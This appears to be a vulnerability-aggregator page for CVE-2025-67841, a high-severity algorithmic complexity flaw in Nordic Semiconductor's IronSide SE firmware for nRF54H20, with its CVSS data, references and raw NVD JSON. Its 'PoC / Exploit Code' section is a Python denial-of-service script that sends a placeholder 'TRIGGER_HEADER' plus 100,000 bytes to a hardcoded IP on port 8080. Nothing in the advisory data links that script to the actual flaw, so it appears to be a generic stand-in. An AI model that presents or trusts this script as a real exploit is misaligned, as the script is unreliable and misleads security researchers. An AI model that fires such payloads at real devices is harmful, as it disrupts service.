CVE-2025-67841

Description

Nordic Semiconductor IronSide SE for nRF54H20 before 23.0.2+17 has an Algorithmic complexity issue.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Nordic Semiconductor IronSide SE for nRF54H20 < 23.0.2+17

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import socket

# Target IP and Port
TARGET_IP = "192.168.1.100"
TARGET_PORT = 8080

def trigger_dos():
    """
    PoC for CVE-2025-67841.
    Sends a payload to trigger algorithmic complexity issues.
    """
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((TARGET_IP, TARGET_PORT))
        
        # Malformed payload designed to stress the algorithm
        payload = b"TRIGGER_HEADER" + b"X" * 100000
        
        s.sendall(payload)
        print("[+] Payload sent. Monitor device for DoS.")
        s.close()
    except Exception as e:
        print(f"[-] Exploit failed: {e}")

if __name__ == "__main__":
    trigger_dos()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-67841
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-67841
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-67841/
[4] VulDB https://vuldb.com/cve/CVE-2025-67841
[5] https://docs.nordicsemi.com/bundle/SA/resource/SA-2025-447-v1.1.pdf
[6] https://nordicsemi.no

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-67841", "sourceIdentifier": "[email protected]", "published": "2026-04-15T16:16:33.997", "lastModified": "2026-04-17T15:09:46.880", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nordic Semiconductor IronSide SE for nRF54H20 before 23.0.2+17 has an Algorithmic complexity issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-407"}]}], "references": [{"url": "https://docs.nordicsemi.com/bundle/SA/resource/SA-2025-447-v1.1.pdf", "source": "[email protected]"}, {"url": "https://nordicsemi.no", "source": "[email protected]"}]}}